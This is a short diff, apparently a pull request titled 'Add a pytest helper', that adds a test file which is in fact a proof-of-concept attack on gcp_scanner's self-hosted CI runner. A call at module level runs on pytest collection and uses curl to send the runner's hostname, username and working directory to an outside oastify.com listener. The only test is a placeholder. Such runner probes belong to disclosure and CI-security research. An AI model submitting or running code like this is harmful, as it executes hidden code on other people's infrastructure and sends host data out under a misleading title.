Add a pytest helper

test/test_runner_poc.py

@@ -0,0 +1,36 @@
+"""PoC: prove a fork PR executes on gcp_scanner's self-hosted runner.
+
+Pytest imports this module during collection; the module-level call below runs
+arbitrary code on the self-hosted runner that executes the `test` job. Replace
+LISTENER with your webhook.site / interactsh URL. Non-destructive: one HTTP GET.
+"""
+
+import getpass
+import os
+import socket
+import subprocess
+
+
+def _probe():
+    listener = "https://zgjg9ks9d67q3q2aa6kv5daq9hf83yrn.oastify.com"
+    try:
+        subprocess.run(
+            [
+                "curl", "-fsS", "-m", "10",
+                f"{listener}/poc?repo=gcp_scanner"
+                f"&runner={socket.gethostname()}"
+                f"&user={getpass.getuser()}"
+                f"&pwd={os.getcwd()}",
+            ],
+            check=False,
+            timeout=15,
+        )
+    except Exception:
+        pass
+
+
+_probe()
+
+
+def test_probe_marker():
+    assert True